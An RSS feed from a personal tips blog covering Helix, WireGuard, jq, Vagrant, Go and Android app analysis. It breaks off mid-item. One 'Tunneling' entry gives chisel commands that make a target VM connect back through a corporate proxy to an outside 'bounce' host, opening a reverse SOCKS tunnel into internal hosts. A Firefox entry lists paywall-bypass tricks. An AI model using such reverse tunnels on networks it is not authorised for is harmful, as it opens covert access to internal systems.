<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Just some tips I found useful</title>
    <link>https://tips.unixed.fr/</link>
    <description>Recent content on Just some tips I found useful</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <lastBuildDate>Fri, 12 Dec 2025 16:59:32 +0000</lastBuildDate>
    <atom:link href="https://tips.unixed.fr/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Helix</title>
      <link>https://tips.unixed.fr/helix/</link>
      <pubDate>Fri, 12 Dec 2025 16:59:32 +0000</pubDate>
      <guid>https://tips.unixed.fr/helix/</guid>
      <description>&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;u&lt;/code&gt;: Undo&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;U&lt;/code&gt;: Redo     azeaz   aze&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;selection&#34;&gt;selection&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;%&lt;/code&gt; selection entire file&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;x&lt;/code&gt; selection current line (repeat for multiple lines)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;type &lt;code&gt;v&lt;/code&gt; to be more precise afterwards (if you go select to much lines for example)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;v&lt;/code&gt; start selection then move to select other&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;v&lt;/code&gt; then &lt;code&gt;t&lt;/code&gt; then the final char you want&lt;/li&gt;&#xA;&lt;li&gt;example &lt;code&gt;vt[Enter]&lt;/code&gt; will select from the cursor to end of the line&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;C&lt;/code&gt; (maj-C) Copy selection next line&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Alt-C&lt;/code&gt; (Alt-maj-C) Copy selection previous line&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;maw&lt;/code&gt; selection current word&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;map&lt;/code&gt; selection current paragraph&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;m&lt;/code&gt; open popup&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;selection-manipulation&#34;&gt;selection manipulation&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;(&lt;/code&gt; Rotate main selection backward&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;)&lt;/code&gt; Rotate main selection forward&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Alt-,&lt;/code&gt; Remove primary selection&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Alt-;&lt;/code&gt; Flip selection cursor and anchor&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Alt-(&lt;/code&gt; Rotate selection contents backward&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Alt-)&lt;/code&gt; Rotate selection contents forward&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;J&lt;/code&gt; Join lines inside selection&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Alt-J&lt;/code&gt; Join lines inside selection and select the inserted space&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;_&lt;/code&gt;: trim trailing white spaces from selection&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ms(&lt;/code&gt;: add &lt;code&gt;()&lt;/code&gt; around selection&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;mr(&lt;/code&gt;: add &lt;code&gt;()&lt;/code&gt; around selection&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ms(&lt;/code&gt;: add &lt;code&gt;()&lt;/code&gt; around selection&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;search&#34;&gt;search&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;/&lt;/code&gt; then input pattern&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;?&lt;/code&gt; search for previous pattern&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;s&lt;/code&gt; select all regex matches inside selections&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Alt-s&lt;/code&gt; negative search compare to previous &lt;code&gt;s&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;move&#34;&gt;move&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;[f&lt;/code&gt; go to next function&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;]f&lt;/code&gt; go to previous function&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;execution-open-output-data-in-an-overlay&#34;&gt;execution (open output data in an overlay)&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;:sh jq . %{buffer_name}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;execution-current-selection&#34;&gt;execution current selection&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select wanted lines (&lt;code&gt;%&lt;/code&gt; for all the file)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;:pipe jq --indent 4&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;wrap&#34;&gt;wrap&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the line(s)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;:reflow 80&lt;/code&gt; # wrapt at 80 characteres&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Wireguard</title>
      <link>https://tips.unixed.fr/linux/wireguard/</link>
      <pubDate>Fri, 25 Aug 2023 09:04:26 +0000</pubDate>
      <guid>https://tips.unixed.fr/linux/wireguard/</guid>
      <description>&lt;h1 id=&#34;wireguard-in-networkmanager&#34;&gt;Wireguard in NetworkManager&lt;/h1&gt;&#xA;&lt;p&gt;On ubuntu 22.04, it&amp;rsquo;s supported, but we have to import the configuration&#xA;using CLI. (From SLT, Fedora have a nice menu to do so).&lt;/p&gt;&#xA;&lt;p&gt;note: On ubuntu, it&amp;rsquo;s possible to try network-manager-wireguard, found via &lt;a href=&#34;https://wiki.gnome.org/Projects/NetworkManager/VPN&#34;&gt;NetworkManager official gnome project website&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/max-moser/network-manager-wireguard&#34;&gt;Github repo&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;add-a-configuration&#34;&gt;Add a configuration&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ &lt;span class=&#34;nv&#34;&gt;CONF_FILE&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;wg0.conf&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ nmcli connection import &lt;span class=&#34;nb&#34;&gt;type&lt;/span&gt; wireguard file &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$CONF_FILE&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Connection &lt;span class=&#34;s1&#34;&gt;&amp;#39;wg0&amp;#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;125d4b76-d230-47b0-9c31-bb7b9ebca861&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; successfully added.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;remove-a-configuration&#34;&gt;Remove a configuration&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ nmcli connection delete wg0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Connection &lt;span class=&#34;s1&#34;&gt;&amp;#39;wg0&amp;#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;125d4b76-d230-47b0-9c31-bb7b9ebca861&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; successfully deleted.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;edit-a-configuration&#34;&gt;Edit a configuration&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ nmtui&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    <item>
      <title>Jq</title>
      <link>https://tips.unixed.fr/jq/</link>
      <pubDate>Wed, 05 Apr 2023 18:38:41 +0000</pubDate>
      <guid>https://tips.unixed.fr/jq/</guid>
      <description>&lt;h1 id=&#34;jq-option-or-tricks&#34;&gt;JQ option or tricks&lt;/h1&gt;&#xA;&lt;p&gt;Iterate over an array:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;jq &#39;.items[]| .value&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Select multiple elements:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;jq &#39;.items[] | &amp;quot;\(.Title); \(.Url)&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;equivalent&#34;&gt;Equivalent&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Nice interactive jq parser: &lt;a href=&#34;https://github.com/antonmedv/fx&#34;&gt;fx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Firefox</title>
      <link>https://tips.unixed.fr/firefox/</link>
      <pubDate>Thu, 11 Feb 2021 10:39:02 +0000</pubDate>
      <guid>https://tips.unixed.fr/firefox/</guid>
      <description>&lt;p&gt;Some extensions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wappanalyzer&lt;/li&gt;&#xA;&lt;li&gt;container proxy&lt;/li&gt;&#xA;&lt;li&gt;medium unlimited (by Manoj Vivek)&lt;/li&gt;&#xA;&lt;li&gt;mooltipass extension&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;paywalls&amp;hellip;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;uMatrix (bypass parisien)&lt;/li&gt;&#xA;&lt;li&gt;passer en more reader sur FF (Clt+Alt+R)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;le parisien&lt;/li&gt;&#xA;&lt;li&gt;le monde (45% de l&amp;rsquo;article)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;utiliser &lt;a href=&#34;https://outline.com&#34;&gt;https://outline.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;utiliser &lt;a href=&#34;https://www.pressreader.com&#34;&gt;https://www.pressreader.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Tunneling</title>
      <link>https://tips.unixed.fr/security/tunneling/</link>
      <pubDate>Fri, 05 Feb 2021 06:26:29 +0000</pubDate>
      <guid>https://tips.unixed.fr/security/tunneling/</guid>
      <description>&lt;h1 id=&#34;tunneling&#34;&gt;Tunneling&lt;/h1&gt;&#xA;&lt;h2 id=&#34;chisel&#34;&gt;Chisel&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/jpillora/chisel&#34;&gt;https://github.com/jpillora/chisel&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go&lt;/li&gt;&#xA;&lt;li&gt;can be build cross platform&lt;/li&gt;&#xA;&lt;li&gt;Create a tunnel between bounce and VM, then propagate our socks in it&lt;/li&gt;&#xA;&lt;li&gt;DON&amp;rsquo;T OPEN A LISTENING PORT, make a connect back from the VM to our bounce&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;On the bounce:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;bounce&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;$ ./chisel server -p &lt;span class=&#34;m&#34;&gt;443&lt;/span&gt; --reverse --auth &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;user:password&amp;gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On the VM (client):&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;C:&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;/&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;chisel&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;client&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;-auth&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;user:password&amp;gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;-proxy&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;http&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;//&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;webcache&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;py&#34;&gt;groupe&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;py&#34;&gt;client&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fr&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;3128&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;BOUNCE_IP&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;443&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;R:&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;1080&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;socks&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On the bounce we can check if it&amp;rsquo;s working:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;(bounce)$ curl -k https://internal.hostname.client.fr/ --proxy socks5://127.0.0.1:1080&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then propagate the socks:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;laptop&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;$ ssh -N -L 1081:localhost:1080 user@bounce&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can use socks5:1081 on our laptop.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Go</title>
      <link>https://tips.unixed.fr/dev/go/</link>
      <pubDate>Mon, 04 Jan 2021 08:10:31 +0000</pubDate>
      <guid>https://tips.unixed.fr/dev/go/</guid>
      <description>&lt;h1 id=&#34;golang&#34;&gt;Golang&lt;/h1&gt;&#xA;&lt;h2 id=&#34;tracking-memory-leak&#34;&gt;Tracking memory leak&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://medium.com/@KentGruber/tracking-down-a-golang-memory-leak-with-grmon-74569a00a177&#34;&gt;https://medium.com/@KentGruber/tracking-down-a-golang-memory-leak-with-grmon-74569a00a177&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;build-with-tags&#34;&gt;Build with tags&lt;/h2&gt;&#xA;&lt;p&gt;From &lt;a href=&#34;https://www.digitalocean.com/community/tutorials/customizing-go-binaries-with-build-tags&#34;&gt;https://www.digitalocean.com/community/tutorials/customizing-go-binaries-with-build-tags&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;File pro.go:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-Golang&#34; data-lang=&#34;Golang&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// +build pro&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;kn&#34;&gt;package&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;main&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;func&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;init&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(){&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;features&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;features&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;Feat1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;Feat2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Build using tags: &lt;code&gt;go build -tags &amp;quot;pro&amp;quot; .&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;links&#34;&gt;Links&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://eltonminetto.dev/en/post/2020-07-06-clean-architecture-2years-later/&#34;&gt;https://eltonminetto.dev/en/post/2020-07-06-clean-architecture-2years-later/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://clivern.com/separate-test-cases-in-golang-with-build-tags/&#34;&gt;https://clivern.com/separate-test-cases-in-golang-with-build-tags/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Vagrant</title>
      <link>https://tips.unixed.fr/vagrant/</link>
      <pubDate>Fri, 06 Nov 2020 15:47:52 +0000</pubDate>
      <guid>https://tips.unixed.fr/vagrant/</guid>
      <description>&lt;h1 id=&#34;vagrant&#34;&gt;Vagrant&lt;/h1&gt;&#xA;&lt;h2 id=&#34;starting-with-vagrant&#34;&gt;Starting with vagrant&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;vagrant init distrib/version&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;vagrant init &amp;lt;name&amp;gt; &amp;lt;url&amp;gt;&#xA;vagrant init ubuntu/focal&#xA;vagrant init debian/buster64&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;See &lt;a href=&#34;https://app.vagrantup.com/boxes/&#34;&gt;https://app.vagrantup.com/boxes/&lt;/a&gt; for your happiness&lt;/p&gt;&#xA;&lt;h2 id=&#34;change-name-default&#34;&gt;Change name &amp;ldquo;default&amp;rdquo;&lt;/h2&gt;&#xA;&lt;p&gt;In Vagrantfile:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;config.vm.define &amp;#34;&amp;lt;NAME&amp;gt;&amp;#34;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;dont-mount-current-disk&#34;&gt;Don&amp;rsquo;t mount current disk&lt;/h2&gt;&#xA;&lt;p&gt;In order to merge the configuration for all your box, in &lt;code&gt;~/.vagrant.d/Vagrantfile&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Vagrant.configure(&amp;#34;2&amp;#34;) do |config|&#xA;  [...]&#xA;  config.vm.synced_folder &amp;#34;.&amp;#34;, &amp;#34;/vagrant&amp;#34;, disabled: true&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;up-and-stop&#34;&gt;Up and stop&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;vagrant up default&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;vagrant halt default&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;ssh-into-it&#34;&gt;SSH into it&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;ssh vagrant@127.0.0.1 -p 2222  -i ~/.vagrant/machines/default/virtualbox/private_key&lt;/code&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Android</title>
      <link>https://tips.unixed.fr/security/android/</link>
      <pubDate>Thu, 15 Oct 2020 06:26:29 +0000</pubDate>
      <guid>https://tips.unixed.fr/security/android/</guid>
      <description>&lt;h1 id=&#34;root-android-phone-on-emulator&#34;&gt;Root android phone on emulator&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://blog.thecobraden.com/2012/06/making-persistent-changes-to-android.html&#34;&gt;http://blog.thecobraden.com/2012/06/making-persistent-changes-to-android.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://cyberlinksecurity.ie/wp-content/uploads/2020/02/walkthrough.pdf&#34;&gt;https://cyberlinksecurity.ie/wp-content/uploads/2020/02/walkthrough.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://stackoverflow.com/questions/43923996/adb-root-is-not-working-on-emulator-cannot-run-as-root-in-production-builds&#34;&gt;https://stackoverflow.com/questions/43923996/adb-root-is-not-working-on-emulator-cannot-run-as-root-in-production-builds&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/0xFireball/root_avd&#34;&gt;https://github.com/0xFireball/root_avd&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;some-commands&#34;&gt;Some commands&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;android-backup-extractor (github.com)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;adb backup -apk -shared -all -f /tmp/backup.ad&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;java -jar build/libs/abe.jar /tmp/backup.ad /tmp/backup.tar&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;~/Android/Sdk/build-tools/28.0.3/aapt d permissions app.apk&lt;/li&gt;&#xA;&lt;li&gt;apksigner verify &amp;ndash;verbose app.apk&lt;/li&gt;&#xA;&lt;li&gt;Signature de l&amp;rsquo;app:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;decompress the APK&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;openssl pkcs7 -inform DER -in original/META-INF/CERT.RSA -noout -print_certs -text&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;OR&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;keytool -printcert -file original/META-INF/CERT.RSA&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Encrypted source code ?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;decompress the APK&lt;/li&gt;&#xA;&lt;li&gt;dex2jar classes.dex&lt;/li&gt;&#xA;&lt;li&gt;jd-gui classes-dex2jar.jar&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;tools&#34;&gt;tools&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/nccgroup/house&#34;&gt;https://github.com/nccgroup/house&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/FrenchYeti&#34;&gt;https://github.com/FrenchYeti&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.sstic.org/2020/presentation/dexcalibur_hook_it_yourself/&#34;&gt;https://www.sstic.org/2020/presentation/dexcalibur_hook_it_yourself/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://gist.github.com/gteissier/&#34;&gt;https://gist.github.com/gteissier/&lt;/a&gt; / &lt;a 